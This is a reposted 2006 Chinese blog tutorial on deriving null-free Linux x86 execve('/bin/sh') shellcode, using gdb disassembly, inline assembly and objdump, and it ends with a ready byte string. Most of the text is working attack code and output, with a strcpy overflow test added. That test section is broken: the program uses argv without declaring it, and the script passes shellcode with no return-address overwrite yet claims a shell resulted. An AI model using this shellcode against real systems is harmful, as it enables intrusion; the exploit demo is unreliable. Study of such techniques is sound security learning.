文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>ShellCode的简单原理

ShellCode的简单原理

时间:2006-05-05  来源:blueshycool

(shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码)
今天学习了如何取得shellcode的一种方法,就是通过简单调用一个系统调用,然后
通过静态链接编译成可执行文件,如:
int main(void)
{
    char* name[2];
    
    name[0] = "/bin/sh";
    name[1] = 0;

    execve(name[0], name, 0);
}
gcc -static -g -o t t.c生成了一个可执行文件t
然后对t进行跟踪调试,
gdb t
(gdb) disass main
Dump of assembler code for function main:
0x08048234 <main+0>:    push   %ebp
0x08048235 <main+1>:    mov    %esp,%ebp
0x08048237 <main+3>:    sub    $0x18,%esp
0x0804823a <main+6>:    and    $0xfffffff0,%esp
0x0804823d <main+9>:    mov    $0x0,%eax
0x08048242 <main+14>:   add    $0xf,%eax
0x08048245 <main+17>:   add    $0xf,%eax
0x08048248 <main+20>:   shr    $0x4,%eax
0x0804824b <main+23>:   shl    $0x4,%eax
0x0804824e <main+26>:   sub    %eax,%esp
0x08048250 <main+28>:   movl   $0x8094e88,0xfffffff8(%ebp)
0x08048257 <main+35>:   movl   $0x0,0xfffffffc(%ebp)
0x0804825e <main+42>:   mov    0xfffffff8(%ebp),%edx
0x08048261 <main+45>:   sub    $0x4,%esp
0x08048264 <main+48>:   push   $0x0
0x08048266 <main+50>:   lea    0xfffffff8(%ebp),%eax
0x08048269 <main+53>:   push   %eax
0x0804826a <main+54>:   push   %edx
0x0804826b <main+55>:   call   0x804df60 <execve>
0x08048270 <main+60>:   add    $0x10,%esp
0x08048273 <main+63>:   mov    $0x0,%eax
0x08048278 <main+68>:   leave
0x08048279 <main+69>:   ret
End of assembler dump.
(gdb)b *0x0804826b
(gdb)r
其实也就是查看在调用execve之前主要寄存器内容
然后跟进execve
(gdb) i reg
eax            0xbfda3990       -1076217456
ecx            0x1      1
edx            0x8094e88        134827656
ebx            0x0      0
esp            0xbfda3960       0xbfda3960
ebp            0xbfda3998       0xbfda3998
esi            0x80489f0        134515184
edi            0x2060d  132621
eip            0x804826b        0x804826b
eflags         0x296    662
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
运行到0x0804826b这里的时候,已经把调用execve所要用到的参数入栈了,而其实
execve系统调用是通过一个软中断来实现,我们可以看下面的反汇编代码:
(gdb) disass execve
Dump of assembler code for function execve:
0x0804df60 <execve+0>:  push   %ebp
0x0804df61 <execve+1>:  mov    $0x0,%eax
0x0804df66 <execve+6>:  mov    %esp,%ebp
0x0804df68 <execve+8>:  test   %eax,%eax
0x0804df6a <execve+10>: push   %ebx
0x0804df6b <execve+11>: mov    0x8(%ebp),%ebx
0x0804df6e <execve+14>: je     0x804df75 <execve+21>
0x0804df70 <execve+16>: call   0x0
0x0804df75 <execve+21>: mov    0xc(%ebp),%ecx
0x0804df78 <execve+24>: mov    0x10(%ebp),%edx
0x0804df7b <execve+27>: mov    $0xb,%eax
0x0804df80 <execve+32>: int    $0x80
0x0804df82 <execve+34>: mov    %eax,%ebx
0x0804df84 <execve+36>: cmp    $0xfffff000,%ebx
0x0804df8a <execve+42>: ja     0x804df8f <execve+47>
0x0804df8c <execve+44>: pop    %ebx
0x0804df8d <execve+45>: pop    %ebp
0x0804df8e <execve+46>: ret
0x0804df8f <execve+47>: call   0x8048a40 <__errno_location>
0x0804df94 <execve+52>: neg    %ebx
0x0804df96 <execve+54>: mov    %ebx,(%eax)
0x0804df98 <execve+56>: mov    $0xffffffff,%eax
0x0804df9d <execve+61>: pop    %ebx
0x0804df9e <execve+62>: pop    %ebp
0x0804df9f <execve+63>: ret
End of assembler dump.
从0x0804df60-0x0804df80,对软中断调用前的寄存器准备,eax存放的是系统调用号
在Linux里execve的中断调用号是11(0xb),ebx存放的是execve的第一个参数,也就
相当于name[0],edx存放的是第二个参数,相当于name,反汇编代码实现有些技巧,
不认真看还看不明白,花了我一些时间再结合原来的一些知识终于明白了过来!结合
堆栈结构图来理解更容易一些!

所以到这里就知道了如何得到一个系统调用的反汇编代码,通过这些代码就可以知道
某一个系统调用前各个寄存器的内容,而这里的shellcode做的事情就是对堆栈和寄存
器进行初始化,然后通过int 0x80进行系统调用,反过来说实现一个系统调用的
shellcode要做的这是这些事情。
所以把那一段代码提取出来,写成以下形式:
      1 #include<stdio.h>
      2 #include<stdlib.h>
      3
      4 int main(void)
      5 {
      6     __asm__ __volatile__(
      7     "mov $0x0, %%edx \n\t"
      8     "push %%edx \n\t"
      9     "push $0x68732f6e \n\t"  /* hs/n */
     10     "push $0x69622f2f \n\t"  /* ib// */
     11     "mov %%esp, %%ebx \n\t"
     12     "push %%edx \n\t"
     13     "push %%ebx \n\t"
     14     "mov %%esp, %%ecx \n\t"
     15     "lea $0xb, %%eax \n\t"
     16     "int $0x80 \n\t"
     17     ::);
     18 return 0;
     19 }
gcc -o shellcode shellcode.c
可以得到一个可执行文件shellcode,执行它可以得到一个shell,因为这里所说的溢出攻击是以一个串的形式把shellcode值入,所以这个串中间不允许出现00,
用objdump对shellcode进行查看,决定哪些asm代码需要进一步修改,其实就是实现同样的功能,但通过不同的指令。
objdump -d shellcode|less
......
080483a8 <main>:
80483a8:       55                      push   %ebp
80483a9:       89 e5                   mov    %esp,%ebp
80483ab:       83 ec 08                sub    $0x8,%esp
80483ae:       83 e4 f0                and    $0xfffffff0,%esp
80483b1:       b8 00 00 00 00          mov    $0x0,%eax
80483b6:       83 c0 0f                add    $0xf,%eax
80483b9:       83 c0 0f                add    $0xf,%eax
80483bc:       c1 e8 04                shr    $0x4,%eax
80483bf:       c1 e0 04                shl    $0x4,%eax
80483c2:       29 c4                   sub    %eax,%esp
/* 这里开始才是以上C代码中asm的代码 */
/* 这里出现了00,需要对mov $0x0, %edx进行修改,可以改成xor %edx, %edx */
80483c4:       ba 00 00 00 00          mov    $0x0,%edx
80483c9:       52                      push   %edx
80483ca:       68 6e 2f 73 68          push   $0x68732f6e
80483cf:       68 2f 2f 62 69          push   $0x69622f2f
80483d4:       89 e3                   mov    %esp,%ebx
80483d6:       52                      push   %edx
80483d7:       53                      push   %ebx
80483d8:       89 e1                   mov    %esp,%ecx
/* 可以把mov $0xb, %eax改成lea 0xb(%edx), %eax */
80483da:       b8 0b 00 00 00          mov    $0xb,%eax
80483df:       cd 80                   int    $0x80
80483e1:       b8 00 00 00 00          mov    $0x0,%eax
80483e6:       c9                      leave
80483e7:       c3                      ret
80483e8:       90                      nop
80483e9:       90                      nop
80483ea:       90                      nop
80483eb:       90                      nop
80483ec:       90                      nop
80483ed:       90                      nop
80483ee:       90                      nop
80483ef:       90                      nop
......
修改后的代码:
      1 #include<stdio.h>
      2 #include<stdlib.h>
      3
      4 int main(void)
      5 {
      6     __asm__ __volatile__(
      7     "xor %%edx, %%edx \n\t"
      8     "push %%edx \n\t"
      9     "push $0x68732f6e \n\t"  /* hs/n */
     10     "push $0x69622f2f \n\t"  /* ib// */
     11     "mov %%esp, %%ebx \n\t"
     12     "push %%edx \n\t"
     13     "push %%ebx \n\t"
     14     "mov %%esp, %%ecx \n\t"
     15     "lea 0xb(%%edx), %%eax \n\t"
     16     "int $0x80 \n\t"
     17     ::);
     18 return 0;
     19 }

gcc -o shellcode shellcode.c后的objdump显示:
......
080483a8 <main>:
80483a8:       55                      push   %ebp
80483a9:       89 e5                   mov    %esp,%ebp
80483ab:       83 ec 08                sub    $0x8,%esp
80483ae:       83 e4 f0                and    $0xfffffff0,%esp
80483b1:       b8 00 00 00 00          mov    $0x0,%eax
80483b6:       83 c0 0f                add    $0xf,%eax
80483b9:       83 c0 0f                add    $0xf,%eax
80483bc:       c1 e8 04                shr    $0x4,%eax
80483bf:       c1 e0 04                shl    $0x4,%eax
80483c2:       29 c4                   sub    %eax,%esp
/*  __asm__ 开始 */
80483c4:       31 d2                   xor    %edx,%edx
80483c6:       52                      push   %edx
80483c7:       68 6e 2f 73 68          push   $0x68732f6e
80483cc:       68 2f 2f 62 69          push   $0x69622f2f
80483d1:       89 e3                   mov    %esp,%ebx
80483d3:       52                      push   %edx
80483d4:       53                      push   %ebx
80483d5:       89 e1                   mov    %esp,%ecx
80483d7:       8d 42 0b                lea    0xb(%edx),%eax
80483da:       cd 80                   int    $0x80
/* __asm__ 结束 */
80483dc:       b8 00 00 00 00          mov    $0x0,%eax
80483e1:       c9                      leave
80483e2:       c3                      ret
80483e3:       90                      nop
80483e4:       90                      nop
80483e5:       90                      nop
80483e6:       90                      nop
80483e7:       90                      nop
80483e8:       90                      nop
80483e9:       90                      nop
80483ea:       90                      nop
80483eb:       90                      nop
80483ec:       90                      nop
80483ed:       90                      nop
80483ee:       90                      nop
80483ef:       90                      nop
......
然后把那标注的一段提取出来写成
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
别小看这一行代码,它可开启一个shell!!!!
这行代码就是一个完整的ShellCode了,可以利用它来获得一个shell!
/* 利用测试 */
sa.c
int main(void)
{
    char buffer[16];
    strcpy(buffer, argv[1]);
return 0;
}        
gcc -o sa sa.c

test.sh
#!/bin/sh
shellcode="\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
./sa $shellcode

chmod +x test.sh

./test.sh
sh-3.00$
这里SuSE10.0上的测试结果!
(学习许治坤等人的《网络渗透技术》实践所作,没有抄袭,只是学习实践吸收!)
相关阅读 更多 +
排行榜 更多 +
盒子小镇2游戏手机版下载

盒子小镇2游戏手机版下载

冒险解谜 下载
世界盒子模组版下载最新版本

世界盒子模组版下载最新版本

模拟经营 下载
音乐搜索app最新版本下载

音乐搜索app最新版本下载

趣味娱乐 下载